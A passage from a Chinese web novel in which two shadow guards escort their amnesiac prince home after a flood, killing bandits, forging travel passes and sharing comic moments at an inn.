朱柿在心底发出了一声尖锐的爆鸣,凭借着自己多年以来的工作经验对当前的场景进行总结。 夭寿了! 他们家最忠诚的影卫竟然叛逆了! 不不不,是背叛了。 杨妃竟然在弑主—— 于是朱柿惊慌失措地喊出了那两句弑主的话,肩膀上的东西也直接滑落在地上,扑通一声溅起了灰尘。 他紧张地向前迈了一步,目光死死盯在杨妃的手上,心里却慌得不行。 朱柿攥紧的拳头,掌心已经出了汗,被充当武器的镐头横卧在身前,他不断给自己加油打气。 虽然一般情况下来讲,他不是杨妃的对手,但现在显然不是一般情况。 杨妃受了伤,现在又没缓过劲来,可他现在却身体倍儿棒,又有铁器在手,未必没有胜算。 只是作为人质的王爷在杨妃手中,他动起手来未免有些掣肘。 而且万一他选择直接向王爷下手,那王爷一旦身死,他岂不是不背叛王爷也得背叛了? 朱柿脑中警铃大作,思绪瞬间放飞,一瞬间之内脑子里想了极多。 难不成杨妃搞这一手就是为了拖他下水,两个人借此机会假死脱身,直接远走高飞? 朱柿倒吸一口凉气,将手里的镐头攥得紧紧的,一时之间,投鼠忌器竟僵在了原地。 杨妃:…… 他觉得自己真是冤枉死了,这个憨货一进来就劈头盖脸地将黑锅砸在他的脑门上,还端起了架势俨然是要拼命的模样。 他怎么不知道自己在同僚之中风评差到了这种程度? 他的忠心天地可鉴,但凡是个人,也不会怀疑他会背叛主子吧? “住手!” 眼见这个傻的三步两步抡着镐头就要往他这边砸,杨妃这才真是傻眼了,连忙出声呵斥,腰腹一个用力就站起来,双手挡在身前,准备应对。 可朱柿也不是吃素的,他眼见杨妃松开了王爷站起来,要砸人的动作猛地一偏,整个人丝滑地一弯腰以迅雷不及掩耳之速直接拦腰将王爷抱起来,就那么一甩就直接扛在肩上。 而后急速后撤两步和杨妃拉开了距离。 这一套动作行云流水,朱柿快的已经成了残影,眨眼之间就给杨妃留下了空荡荡的草席,以及一个大头朝下被扛在肩上正被怼的干呕的王爷。 杨妃破防了。 “你的脑子也被洪水一并冲走了吗?”他被朱柿气得额角一阵一阵的抽痛,连站都有点站不稳,身影一晃靠在土壁上。 但这没耽误他不停的输出。 “还是说你的眼睛被大水冲瞎了,充的不好使了!” “你哪只眼睛看到我要弑主了啊!” “你什么时候、在哪里学的如此冲动,二话不说上来就是打,是吧?” 杨妃被他气得差点上不来气儿,有点狼狈地拍着自己的胸口顺气,他原本不觉得自己虚弱的,但朱柿来了这么一手,他觉得自己的寿命又短了一截。 造孽啊! “你这憨货就是想趁我病要我命是吧!” 杨妃怒气冲冲地质问,将原本还满是战意,一副要誓死守卫王爷模样的朱柿说得越发心虚。 他眼神不自然的乱飘,小声地嘟囔,“我一回来就见你捂着王爷,还以为你要捂死王爷,好远走高飞呢……” 面对着杨妃越发危险的眼神,朱柿剩下半句话,轻得几乎叫人听不见。 杨妃紧紧地攥着拳头,特别想一巴掌拍在这憨货身上,好让他醒醒脑子。 但现在有更要紧的事。 “你这憨货快把王爷放下!王爷要吐了!” 他可怜的王爷本来就不健康,脑子好像也受了损还失忆了,这会儿就被朱柿这家伙这么粗暴的从地上直接抡起来,现在又头朝下地倒吊着,什么样?好的身板也经不住这一番折腾啊! 杨妃眼见着王爷的脸色更加白了,喉结滚动着一阵阵反胃,俨然一副马上要晕厥过去的样子! “哦、哦!” 杨妃的呵斥让朱柿慌了神,他马上就意识到自己肩上扛着的可不是他拎x回来的那种麻袋,而是他家身娇体弱的王爷。 他手忙脚乱地将王爷从肩膀上拿下来,重新放在草席上,瞅着王爷煞白的脸色更加心虚。 “这这这……”朱柿呆呆地伸着它那两个爪子,看着王爷一被放下就连忙用手拄着身体干呕,说不慌那是假的。 他觉得自己有点委屈。 “这也不能都赖我吧。”他转头用求救的眼神看向杨妃,企图唤醒老大哥的一点怜爱。 “我这不一回来就看你把王爷的嘴鼻子全都堵上,把咱家王爷的脸都摁的发白了吗……” “我这……顶多也就算是个反应过激吧……” “这不是最近接二连三的事儿太多了,桩桩件件都是能要命的,我一下没反应过来嘛……” 朱柿眨了眨眼,原本还心虚的不行,可他越说越觉得自己还是能有那么两分底气的。 毕竟这事也不能全怪他啊,要不是杨妃自己做出那种不清不白的动作,他也不可能误会。 杨妃面无表情地甩开朱柿抓着他破烂衣袖的手,刺啦一声布匹撕裂的声音同时汇聚了两个人的视线。 他颈间的青筋依然凸起。 这行货动起手来还真是没轻没重的,他怎么不干脆直接把他身上这一身乞丐服直接掀了了事。 倒难为他一个布条一个布条的撕了! 杨妃最后狠狠地瞪了朱柿一眼,到底也没再多斥责他两句别的。 这件事情怎么发生的他心里比谁都有数。 但也不能全怪他吧。 杨妃也是毫不留情的甩锅给王爷。 要不是王爷有跨过底线的趋势,他也不至于出此下策直接堵住王爷的嘴,便也不会被赶来的朱柿误会了。 硬要说起来,他倒是欠了朱柿一回,要不是他突然冲出来,搞了一出这样的误会,他还不知道捂了王爷嘴之后该怎么收场呢。 “就数你天天想东想西。”杨妃不轻不重地弹了朱柿脑门一下,“我那时正和王爷说正事,正巧听到了洞外有脚步声,怕是敌人来,这才捂住王爷的嘴,避免发声。” “偏到了你那里变成了我要王爷的命了。” 杨妃不再搭理他,单膝跪在王爷身边,伸手一下一下轻柔地拍着他的后背,给呕得上气不接下气的王爷顺气。 王爷也是真惨。 偏生就摊上了他们两个。 杨妃自认为给出了一个合理解释,可朱柿却没信一句。 他只觉得这个解释荒唐至极。 杨妃是什么水准他朱柿还不知道吗? 他能听不出来每个脚步声对应的是谁? 他咋这么不信呢? 朱柿很想反驳,但一瞅正被杨妃照顾的王爷,那种心虚的劲儿升起来便也顾不得许多了。 就这么地吧。 王爷别太追究他刚才的粗鲁行为就好。 朱柿站在旁边看了一会儿,将功补过的心砰砰直跳,他把自己弄回来的那些个战利品拖到这里,把水囊也掏了出来,自己先喝了一口,确定没问题之后递到了王爷嘴边。 之前的动作算不算是将功补过杨妃不知道,但这回绝对算了。 王爷久渴盼甘霖,朱柿递到他嘴边的水囊正是一场及时雨,他呕的嗓子发痛,一把将那水囊夺过,仰头就是咕嘟咕嘟几口。 “呼——” 王爷舒服的叹出一口气,抬起手抹在脸上直接擦掉露出来的水渍。 朱柿看得呆了,他看了一眼这种极其接地气,一点也不符合王爷平时行为的动作,又看了一眼好似魂都飘出去了正低头瞧这一块撕下来的布的杨妃。 他才出去了不到几个时辰吧? 不是几个月、几年对吧? 王爷怎么大变模样了? 就连杨妃也怪怪的。 他家那个向来板板正正,一举一动都透露着文雅的王爷,怎么就这么不顾形象了! 虽然说他们现在的条件确实做不出来什么文雅的事,但用本来就没干净到哪里去的手直接这样擦脸擦嘴,还是让朱柿难以接受。 “这这这……” 缓过劲来的王爷像是没骨头似的直接靠在了土壁上,朱柿又被他这动作吓了一跳,双眼几乎被震惊得要脱出框来,他再也忍不住了开始询问杨妃。 “你把王爷调包了?” 杨妃:??? 正捏着半截破烂的布料,思考着是用这东西当做帕子伺候王爷干净还是直接拿手擦掉水渍干净的杨妃无语极了。 这个憨货还真是一眼看顾不到就能语出惊人,这也就是现在王爷失忆了暂时没拿出来从前的威严,不然高低得抽他几鞭子才行。 “休得胡说。” 杨妃保持着身为老大的理智,将半截的破烂布料塞进胸襟,反正王爷已经自己解决了问题他就权当没有看到好了。 “大约是在急流中被什么东西打中了头,王爷失忆了。” 杨妃简明扼要地解释,碍着王爷在场没有和他说太多,而是蹲下来打开朱柿带回来的包裹。 这家伙还真是没少干,这些干粮足够他们吃一阵了,尤其是还有一大包闻上去就有些焦香味儿的炒面粉,对现在的他们来说简直就是美味。 王爷失忆了对朱柿来说也是个打击,他一时如丧考妣。 命运弄人! 四个大字在朱柿的脑海中不断回响。 王爷都失忆了,哪里还能记得他在湍急的洪流中一拖二英勇上岸的伟岸英姿呢? 亏了啊。 朱柿在心中碎碎念,他一向是坚信工作一定要做到王爷面前,在其他人面前可以摸摸鱼划划水,躲在人家身后,在王爷面前却一定要勇敢争先的。 结果这一次倒是做到了,成果也非常不错。 可主要表现对象却什么都不记得了。 天呐! 这些便也罢了。 就连王爷清醒的时机他也错过了。 守着王爷醒来,让王爷第一眼就看见自己,多么好的表现机会啊—— 全都无了! 而且还是失忆后王爷的第一眼。 那可是瞧见谁,谁就是他记忆中的第一人啊! 要不是他现在浑身上下没有什么帕子可以放在嘴里撕扯,他这会儿早都咬小手绢儿了。 时也命也。 朱柿没招了,他在王爷身边守了那么长时间王爷都不曾睁眼,杨妃出去转悠那么大一圈,王爷也没有动静,等到他出去的时候…… 怎么能说不是命呢? 他颓废地将抢过来的镐头别在腰带上,也跟着杨妃一起整理起来。 他们最多再在这里呆上一晚,就必须得走了。 矿洞中已经发生了变故,那些反叛的民工不可能一直在那里挖金子的,其中一部分相对理智的人拿了一些就会逃离这里。 等到背后的人派人来了,势必要将整个山翻个底朝天。 他们是不可能坐任那些知道此处有金矿的人活着离开这里的。 朱柿摸了摸自己的肚子,他们没有能炖煮东西的铁器,只得将干巴饼子放火上烤一烤,蘸上点有盐巴味的炒面粉,简简单单地对付着。 这一晚上就在两个人轮流守夜中度过,次日他们就离开了这里。 在离开前杨妃又去了一趟那个矿洞,从死人身上扒出了几件还算完整的衣服,替换掉了他们身上虽然狼狈破烂也难掩优质布料的乞丐服。 落难逃亡之中,好东西只会给他们吸引来不必要的目光平添些许烦恼。 急匆匆地离开了这一片危险区域,他们目标明确,朝着回京的方向前行。 河道总督府是回不去了,那里已经变成了一片汪洋,虽说水位不再上涨,可积水退去也非一日两日之功。 城池外的小村落都是很落魄的,再加上由于水灾多出了不少的难民,这些村落对陌生人的警惕和排外也达到了顶峰。 人丁再少的村落都会安排年壮的男丁人流看守。 想要在这些地方落脚是很难的。 杨妃和朱柿沿途留下专属记号,也是在山上如野人一般地对准了方向前行。 饶是如此,也不算太平。 难民多了,再和平的地方也会生出些山匪劫道。 比如今日。 杨妃和朱柿一左一右地搀扶着体力不佳状态也不佳的王爷前行,王爷手里拿着的木棍在地上半拖着,俨然是一副再也坚持不了一点的模样。 杨妃能怎么办? 他只能温声安慰着,基本上是没走两句就要贴在王爷耳边说上两句鼓励的话,弄得他这一路走来也不轻松。 正在他努力压抑着烦躁的时候,大树后头窜出来几个拿着菜刀的大汉,胡子拉碴面色凶狠。 “站住!” “此路不是我开,此树也不是我栽,可此刀在我手上,把身上的钱财都x交出来!” “若是有钱,爷爷们今日便放你们过去。” “若是没有嘛……” “便将你们卖了,也好偿还爷爷们费口舌的辛苦!” 第65章 这一行人说得气势雄宏,手上的大刀转了几个花样重重磕在地上,环臂看着分外狼狈的三人。 杨妃:“……” 这还真是虎落平阳被犬欺,被人拦路抢劫无论是对影卫二人组来说还是对王爷来说都是破天荒的头一回。 他俩一左一右的拦着王爷站在原地和土匪面面相觑,一时之间都没有人说话。 杨妃的耳朵动了动,周围没有其他人的呼吸声,有限的几个人都在这里杵着刀等着打劫他们了。 他松了一口气。 以他们现在这种逃难的身份,突然被人打劫,他都得怀疑一下是不是有人伪装成土匪要他们的命,最后再把王爷的死甩锅在土匪身上,然后率兵过来清剿土匪,既能得名望又能解决王爷这个对手。 不过以现在的情况来看嘛…… 若是明知王爷身份想要来杀他,绝不能就拍这么几个夯货。 虽有肌肉,却脚步漂浮,有武器在手,却拿的不够稳。 这是几个真截道的。 杨妃和朱柿确认了信息彼此对了个眼神,一路上见缝插针磨好的树枝已经从残破的袖口中滑落到掌心。 那些土匪见没人回应却率先按捺不住开了口。 “磨磨唧唧等什么呢?”那拿着大刀的土匪不耐烦地把地上的大刀拾起来,扛在肩上,“你们不会还痴心妄想的等着官府来人救你们吧?嗯?” 大刀男嗤笑出声,周围的几个小弟也配合地哈哈大笑。 “大哥,这些个人怕不是被水浇脑子泡坏了,能不能听懂人话还不一定呢。”小个子谄媚地应和他的话,上前两步指着杨妃三人,端出了一副大发慈悲的口气。 “我劝你们乖乖的把身上的东西都交给大哥,好留得一条命在。”他目光贪婪地扫过他们三个的身上,尤其在腰带和身上的包袱上停留。 这些土匪也不是头一回抢别人的东西了,知道这些难民虽然家破人亡,但总能藏一些他们觉得值钱的东西,这三个人虽说狼狈,中间那个人状态却还算干净,说不定就是哪个被波及的富户,指不定腰带**里还藏着金银。 “也不用再想着求救了,这方圆多少里内戴帽子的狗官都在找那什么龙子呢,可没人有空管你们的死活!” “识相点的应了爷爷们的话,不然……” 矮子的眼神扫过他们仨的那张脸,舔了舔嘴唇,转过身凑到大刀男身前,激动地搓了搓手,倒像个要进谗言的奸臣。 “大哥,瞧他们仨长得算有两分姿色,不如就卖到春风楼吧!” “这年头谋生多难啊,咱们将他送去,也算是做善事了。” “他们以后吃穿不愁,夜夜都得承咱们的恩呢!” 杨妃:…… 他就没有见过像这小个子这般如此急于求死的人。 原本杨妃听到了官府二字,还想留着他们打探打探消息,免得进城之后被人发现。 可现在这人都想让他家王爷去做伺候人的勾当了,不将他炖了都已经是他大发慈悲了! 他身上杀意来得快,去得也快,那小个子脸上谄媚的笑意还没有褪去,削尖的树枝就已经贯穿了他的脖颈从后颈射入,自喉结处穿出。 那小个子嘴里只嗬嗬地吭了两声,就上身僵直地倒在地上。 他此时竟还未死,四肢抽搐地流了一大滩血迹,咽气时眼睛还瞪得圆圆的,沾满血的脸直勾勾地看着大刀男。 “怎么把他的衣服也弄脏了?”朱柿对小个子的死相有点不满,他们虽然手上有些碎金子,可一时半刻还没找着能融化金子的地方,暂时还花不出去,手头正缺钱的很,这衣服扒下来刚好能卖掉。 现在沾了血反倒卖不出去了。 “他个子太矮,我们都穿不上。”杨妃不知道朱柿在想什么,只以为他想要那身衣服。 在能力范围之内,他还是很乐意满足一下身边这些人的需求的。 小个子的衣服穿不上,那旁边不还有两个呢吗? 杨妃二话不说,只见就又多出了几个削尖的树枝,抬手间便在内力的作用下,如闪电般射出去,便是比起弓箭来说,力道也不弱半分。 “嗖——” 这一次不似方才那般隐蔽,手指在空气中划出明显的破空声,紧接着就是刺入人体的沉闷声响。 待杨妃收回手时,树枝已经插在这几个人的额头上。 他很吸取教训,插在脖子上容易喷血,头就好很多了,就算流血也只会弄湿头发不会弄脏衣服。 “啊啊啊啊啊——” 还没反应过来怎么回事儿的提刀汉呆滞地扫过身边几个曾称兄道弟的尸体,手上的刀哐啷一声就掉在了地上,他本人更是被吓得连跑的力气都没有,腿软得似面条一般跪倒在地。 “啊啊啊!” 他惊恐极了,连一句像样的话都说不出来,眼睛瞪得像要掉下来,面白似鬼。 杨妃扶着王爷胳膊的手用力,将整个王爷都交到朱柿的手上,自己则上前几步抡圆了胳膊,对着那大汉的脸就是一巴掌。 “啪!” 大汉被打得一歪,顺势就倒在了地上,两条腿竟抽搐了起来,根本就没从恐惧中缓过神来。 杨妃也不惯着他,巴掌是毫不吝啬地落在他脸上。 他只想让这大汉清醒过来,好打探些消息暂时还没想要他的命,因此手上也没用内力,待到将这人打得鼻青脸肿了,人也清醒了不少。 “大、大侠!” 那大汉整个人比之前大了两三圈不止,嘴角带着血沫说话也口吐不清,却还能顽强地向杨妃求饶。 “俺、俺有眼不识泰山,上有老下有小,求大侠高抬贵手吧!” “啪!” 杨妃不想和他废话太多,冷冷地甩他一巴掌,随后才问话,“官府现在都忙些什么?” 这人送上门来,他不多打探打探那就是把老天爷的恩赐给浪费了。 “大爷,戴帽子的都在忙着救人呢,当兵的全都去了,挨家挨户地搜。” “说是……有个贵人在这里丢了。” “找不到人就要他们的命!” “京城派了谁来?!”杨妃才不关心那些当官的找不到他家王爷,后果怎么样,他只关心能对王爷造成威胁的。 “大、大爷!”那汉子再也没有一点方才劫道时的狂傲,被杨妃吓的颤颤巍巍,“达官贵人的事儿……这、这俺们不知道啊!” “哦。” 没得到自己想要的消息,杨妃干脆松手站了起来转身。 “谢谢爷!谢谢爷!” 大汉自觉留下一条命,当即便感激涕零,人也不抖了,动作麻利的直接跪下,梆梆的给杨妃磕头。 杨妃头也不回手腕一翻,又一根树枝飞射出去,直直插在那大汉的头上。 以这帮人拦路劫道的熟练程度来说,他们也不是第一次截道了,死有余辜。 放走他们,只会给王爷的行踪带来危险。 就算他看走眼了,这伙人是第一次,也不影响他们的结局。 王爷早都被朱柿搀扶着坐到一侧恢复体力,正在享受朱柿高端的捏肩捏腿服务。 杨妃顶着朱柿的手看了一会儿,心中不屑。 这家伙不知道什么时候背着他偷学了这样一门手艺,才踏上回京的路时就展现在王爷面前,极尽谄媚。 呵。 都是他玩剩下的。 一定是他给王爷按摩的时候,这家伙正在房梁上偷看,这才教他学了去,有机会在王爷面前表现。 他是很不屑于这些小道的。 堂堂影卫就要通过自己的武力和实力赢得王爷的看重,怎么能是这些伺候人的手段呢? 杨妃一点都不羡慕,眼不见心为净地将那些人身上的衣服全都扒下来,碎银子和武器更没有放过。 一圈下来可以说是收获颇丰。 他掂了掂手中叮当作响的铜板,摸了摸那把长刀,把地上那两柄他瞧不上的菜刀扔给了朱柿。 从结果上来看,似乎遇到土匪还算不错? 甚至可以说是大赚特赚。 杨妃的武器直接从树枝升级成了砍刀,身上也有了能花销的银子,以至于他甚至开始期待起了土匪们。 世x道越乱,劫道的越多。 对这些人,杨妃和朱柿一并笑纳的。 开玩笑,他们俩是什么水平? 就算未达到全盛时期,拿捏他们也是手拿把掐。 杨妃真的有点儿想笑。 这一路来虽辛苦,可有了这些劫匪也平添了些乐趣。 得益于土匪们的倾情奉献,一路上他们的战利品都换成了人见人爱的金钱,两手空空的他们也是逐步升级了武器。 匕首、长剑和弓箭全都装备上了。 身上的破烂也换成了得体完好的麻布衣。 一路绕路到青阳城,他们也从灰头土脸的难民变成了小有家资的普通人。 青阳城的城门近在眼前,门口进城的人排成了长队,官兵在逐一查验他们的路引,杨妃一行三人就躲在不远处的树后。 “现在怎么办?”朱柿打量了一番青阳城城楼的布防,“主子不能暴露身份,咱们现在手头又没有路引,已经算是黑户了,从大门进是不行了。” “要不带着主子翻墙而过?” 朱柿看了眼一路上早就疲惫不堪的王爷,王爷眼中对正常住宿的期待已经要化成眼泪落下来了。 以杨妃和王爷的默契他当然也知道,他更知道这一路王爷已经被累得心无杂念,连一点想东想西的心声都没有了。 可见是累的不行了。 “咱们现在手头的银子想贿赂官兵可差的太远。”朱柿又怼了怼他,“不如你在这里保护主子,我翻进墙去找个富户借点银子,办个假的路引再出来找你们?” 第66章 杨妃看了一眼兴致勃勃的朱柿觉得她说的非常有道理,并且很是自然的将王爷交在他的手上,准备自己出行。 “都什么时候了,还要花钱去办路引?”他对朱柿给出的方案有些质疑,“你都打算抢钱了,竟然还想着贿赂人家弄路引。” 咱就说这个东西非得通过半正规渠道获得吗? 杨妃斜睨了他一眼,决定把违法犯罪的事情进行到底。 “你在这里守着我去去就回。”他伸手按在朱柿的肩头上,将打算站起来的朱柿用力摁下去,“我直接去办路引的地方弄个假的。” 这种事情中间知道的人那是越少越好,环节越多越容易暴露,模仿个字迹又不是什么难事,趁看守的人不注意,盖个戳更不是什么难事。 偏朱柿这家伙将简单的事想复杂了。 杨妃说干就干,还不等晕乎乎的王爷发话,人就已经消失在了他们俩的视野之中。 被怼了一通的朱柿都没机会为自己辩驳,他瞅了一眼没影了的朱柿,将怀里的王爷揽的更紧。 算了,朱柿想,活这种东西有人干还不好? 旁人想偷懒还没这个机会呢,更遑论,他也不算是偷懒,最重要的保护王爷的任务不是落在他身上了? 朱柿一转眼珠子,看着怀里拄着脑袋直晃头的王爷心生一计。 杨妃真是他的好大哥,这种亲近王爷的好机会都能让给他,要是她能让失忆的王爷将她放在心上,以后的前途能直接亮瞎人的眼睛吧? “主子。”朱柿将王爷扶好,万般贴心地伸出手指搭在她的额角,用恰到好处的力道给王爷缓解,“这样会舒服一点吗?” 他不光给王爷按摩,还暗戳戳地给王爷输送一点内力,缓解体力消耗,要不是现在情况不允许,他都想给王爷浑身上下做一个彻底的按摩了。 等到了城镇中找个客栈安顿下来,他可得好好伺候伺候王爷,争取在失忆的王爷心中取代他第一眼看见的杨妃成为记忆最深刻的人。 “嗯……” 目前已经习惯了身边人如何精细伺候的王爷,心安理得地享受着,他闭目休息了一会儿,才伸手拂开了朱柿的手。 “这离开已经大半天了,杨妃怎么还没有消息?”王爷环视了一圈,城门口还排着一趟长长的进城队伍,身边也只朱柿一个人。 王爷的眉毛皱在一起,有些担忧,“城门口有守军驻守,现在又是青天白日的,他不会被发现了吧?” 他越想越觉得不妙,人控制不住地打了个寒颤,脑海里已经闪过那些守军拿着锋利的长矛捅进杨妃身体的血腥场面。 “这么长时间没有消息,他是不是被抓到了?”王爷抓住了朱柿的衣袖,用力到指尖泛白,“我们去救他吧!” 朱柿:“……” 朱柿的心情复杂极了,他抬头看了一眼日头,距离杨妃离开到现在也才两刻钟,哪里就长时间了? 他心里酸酸的,想他鞍前马后的伺候着,绞尽脑汁地献殷勤,竟然还不及杨妃半分! 他要闹了! “主子不必忧心。”朱柿无奈地叹了口气,“如今时间还短着,还不够一来一回的时间呢。” “而且以杨妃的水平,还不至于被这些官兵发现,我们只需要在这里等他回来就行了。” “想来也要不了太久。” 朱柿又看了一眼天色,“属下估摸着,顶多再有一个时辰,他也就带着准备好的路引回来了。” “说不定连之后下榻的客栈都准备好了呢。” 他据理分析安慰王爷,同时还抓住了王爷的手制止了王爷想冲出去的举动,心里更酸了。 谁家的主子如此担忧影卫的安危? 谁家的主子只是因为怀疑影卫会出事,就要冲出去救他啊? 搁谁身上谁不羡慕啊? 关键是怎么不在他身上啊? 朱柿简直要咬手帕了。 王爷担忧的心却丝毫未减,“可你之前不也说他连续受伤现在状态还未达巅峰吗?” “万一他正在翻墙的时候伤势复发怎么办?”失忆的王爷这会儿脑子好极了,曾经杨妃跟他说的失忆前的前情提要每一句都被他翻了出来。 朱柿:“主子放心吧,他的重伤都是过去的事了,这些天在路上有殷勤练功,现在已经无大碍了,一拳能打死三头牛。” 朱柿是真不理解杨妃怎么做到在王爷心里留下一个虚弱的形象,却仍能保持王爷的看重的。 他这会儿就是绞尽脑汁也想不出来杨妃怎样会行动失败,但失忆的王爷也像是头倔驴,弄得朱柿竭尽手段地和王爷辩论,才勉勉强强按捺住王爷。 他口干舌燥,两眼发直,只恨自己提出计划的时候为什么不够周全,不然哪里有现在这一档子事? 这边的两个人生活比三个人一起过都精彩,那边的杨妃却有些无聊。 他拿到路引最耗费的功夫竟然还是模仿字迹写出的过程,整个任务可以说是相当的顺利。 等他拿着三个人的路引找到王爷和朱柿时,这两个人竟然还没结束对话。 朱柿:“主子,您就放心吧,就是我们俩这里出了问题,杨妃那边都不带有意外的。” 王爷:“常在河边走,哪有不湿鞋,我们就没约定个什么出现意外的信号吗?现在一点动静都没有,真的很担心。” 朱柿:“主子放心,若真出了意外,城门口这些守门的官兵不可能还像现在这样平静地查看路引,肯定早早地戒严,开始盘问起别人了。” 王爷:“万一他悄悄的就被别人抓到了怎么办?” 朱柿:“主子,请相信王府里影卫们的水平,真的不至于发生这种意外,我尚且能做到,更何况是我们中最强者的杨妃呢?” 朱柿:“就算您不相信我们的实力,也总得相信您自己吧?我们每一个都是您精挑细选出来的呀。” 王爷:“你这么说我更担心了,我信不过我自己啊……” 王爷:“而且就算你们再强也不能事事都考虑到吧?不然我们也不至于被水冲走,一路流落到这里了。” 朱柿:“……” 杨妃:“……” 扎心了,王爷! 杨妃和朱柿两个人的心情高度重合,杨妃原本听到王爷担心自己还有点高兴,这会儿心中也只剩下郁闷了。 偏偏王爷这话他还反驳不了。 为了避免王爷再说什么想让他们俩呕血的话,杨妃加快了速度三步两步地冲到他们俩面前。 “主子,手下不负使命,拿着路引回来了。” 杨妃将手里准备好的三份路引交在王爷手上。 看,王爷,这东西轻轻松松到手,他没有出任何意外,所以不要再想东想西的了! 头一次见到路引的王爷有点稀奇,他瞅了瞅上面写着的相貌籍贯,“有这个东西,我们就能进城了?” “还差一点。”杨妃将怀里顺手从官府拿来的银子一并塞到王爷手里,“多少得贿赂点看门的官兵,免得他们纠缠不休。” “不是有路引就能进城吗?怎么还要给好处?”王爷万分不解,“这不是他们应x该干的吗?” “话虽如此……” 可这种事情早就成了这些看门的人心照不宣的秘密,每一个进城的人也早都习惯花钱消灾。 “我们这个路引毕竟是假的,给点银子,免得他们多问也是件好事。” 杨妃没有给王爷解释太多,现在天色已经不太早了,队伍还长着,他们还是早早的去排队为好,免得没排到他们就到了时间,今日又得露宿在外。 他有点心疼地看着王爷,王爷这些天属实瘦了不少,这回进了城可得好好补补。 他们这次返京没有沿着来时的那条路而是绕了一个大圈,因此青阳城也不再重要港口和京城之间的商队要道上,并不繁华。 但比起之前来逃难时经过的那些地方也不知好上了多少。 得益于官府的慷慨解囊,他们三个手头还称得上是阔绰。 因此一进城,杨妃就带着王爷去了青阳城最大的酒楼,点了一桌子的好菜。 哪怕这些日子吃的清苦,乍一下不宜进大鱼大肉,点的菜也是荤素搭配的,闻上去就叫人食指大动。 王爷很是失仪地咽了一口口水。 倒不是他有多馋,而是这些天里他吃得最多的就是那些干巴的饼子和肉干,再加上点齁咸的盐巴,吃的好的还得算是杨妃他们两个打的野味。 但没有那些增香去腥的调料,只凭着炭火灼烤,也说不上有多好吃。 哪里比得上这一桌色香味俱全的美食呢? 没狼吞虎咽已经是失忆后的王爷能做到最大的体面。 杨妃和朱柿悄悄地对了个眼神,他俩早就发现了,自从王爷失忆之后整个人都放开了许多,平日里多的是坐没坐相站没站相的时候,行路走累了也不管落座的位置干不干净,直接像没骨头一样地靠在树上。 像现在这种眼神宛若饿狼,行为却很克制地拿起筷子飞速扒饭,已经算是在酒楼这种公开场合王爷极尽克制自己的结果了。 和从前那种行为举止都带着矜持贵气的王爷简直毫不相干。 朱柿看上去有点憋笑的样子,杨妃倒觉得王爷现在这个样子真实许多,比从前还要可爱一些。 大概是身为王爷,也不能过多地表现自己的本性吧。 杨妃沉默不语地给王爷夹菜,还发现了王爷在饮食上的喜好,这倒是个新鲜收获。 没了王府的那许多规矩,王爷现在的行动可以说是顺其自然,什么事,不过三早就被抛之脑后,王爷直接吃到肚皮滚圆,张开双臂瘫在椅子上。 还打了个饱嗝。 这一天对失忆了的王爷来说再美妙不过,他吃的也好,还喝了半碗酒,人甚至称得上飘飘欲仙。 更别提杨妃还在客栈留了间上房给王爷,等他吃饱喝足了回去,店小二早早的就把热水备好了,还撒了些花瓣。 这是个新奇体验。 王爷啧啧称奇地围着浴桶转了两圈,也开始觉得浑身上下都不舒服。 这些日子他们急于赶路,中间研中间也就路过一条小溪时简单洗了洗身体和衣物,现下倒有时间泡澡了。 杨妃带着新买的毛巾和衣服走了进来,他将那些东西放在一处,“主子,属下伺候您更衣吧?” “哦,嗯,好的。” 王爷看了一眼杨妃,脸腾地一下就红了。 在这样的私密空间里有人要帮它洗澡,他有点受不了。 王爷很想矜持地推拒,又怕从前的自己总是这个待遇,万一自己拒绝反倒引起他人遐想,便只能口是心是地跨进了浴桶之中。 这一刻,王爷的心里飞过了多少不能播的内容只有他和杨妃知道。 但也没飞太久。 因为浴桶里的水渐渐地变了颜色。 第67章 王爷:“……” 最初王爷还没有察觉到有什么不对劲,他老老实实地坐在浴桶里,两只手撑着木桶,享受着杨妃拿着毛巾一下下擦过他后背的感觉。 脸上带着微笑,心里也是美滋滋的,他甚至还在心里想着又解锁了一种不一样的杨妃。 【之前杀劫道的马匪时是那样的干脆利落,每一个动作都充满力道,每一次见到的时候都觉得杨妃,要是一巴掌落我身上,能把我拍成三截。】 【结果今日竟然发现他那一双拿武器的手拿起毛巾来竟如此轻柔。】 【感觉软软的。】 杨妃没用多大力气,可他擦过的地方,王爷的皮肤却都红了。 杨妃:“……” 他就当做没看见王爷身上的小小变化,他早都习惯了,这场景也不是第一次见了。 要说是有什么不一样的,那得说这一次的毛巾擦着擦着就变色了。 杨妃瞧了瞧手里由白转灰、甚至有由灰转黑的趋势的毛巾,给王爷擦身的手一顿。 他在思考是直接将毛巾在浴桶里搓一搓,还是去找店小二再要两条新毛巾。 他取毛巾时只取了两条,一条给王爷擦身,一条给王爷擦干,现在竟是他考虑不周了。 杨妃没有思考太久,他看了一眼背对着他的王爷,果断地将毛巾伸入水面,悄悄用内力震掉了毛巾上的脏物,然后又重新变为洁白的毛巾继续给王爷擦身。 不过这回他稍微用了点力气。 方才他找到了青阳城中的小据点,给其他影卫们传递了信息,想必要不了多少就会有同僚们找到这里了。 再加上王爷这回算是生死未卜,一下子又得了踪迹,来的人只怕不是一个两个,而是一大帮。 杨妃可不能让王爷灰头土脸地出现在属下面前,为了王爷的面子、为了主子的威严,他不得不下手给王爷搓搓皴了。 咳咳。 杨妃努力地干,王爷穿衣后能遮掩到的地方他还能用力小一点,像脖子、手腕这种露在外面的地方,就得实实在在的多使力了。 沉迷享受的王爷没有察觉到杨妃服务的变化,他乖乖地任由他摆弄,抬胳膊抬腿毫无怨言。 只是脸越来越红了。 都是因为这水太热了,水汽蒸腾他才会脸红。 王爷坚持不承认自己羞涩,闭着眼睛,注意力随着杨妃的手移动。 【哇!当王爷就是好啊,天天都能有这个服务。】 【我能当一辈子!】 【要是能和他一起洗就更好了……】 王爷睁开了眼睛,忽然觉得有点不公平。 【我这个主子是不是当的有点亏?】 【手下的人都将我看光了,我却没看过他的,这合理吗?】 杨妃:“……” 王爷,你不要仗着别人听不见你的心声,就在心里什么都想、什么都说啊! 请把那些表面上装出来的礼仪维持到心里好吗? 杨妃暗自咬了咬牙,感觉失忆之后的王爷不仅放下了身上那种皇族的包袱,也放下了礼义廉耻。 别以为他不知道,之前在山林里靠在一起休息的时候,王爷以为他睡着了,还假装睡觉不老实摸过他的腹肌! 不要仗着他睁一只眼闭一只眼就得寸进尺啊喂! 杨妃心下愤愤,手上悄然使了一点力,王爷小小声地嘶了一声,本能地就想回头看他。 然后王爷就瞧见了杨妃手上沾了一片灰的白毛巾。 王爷:“……” 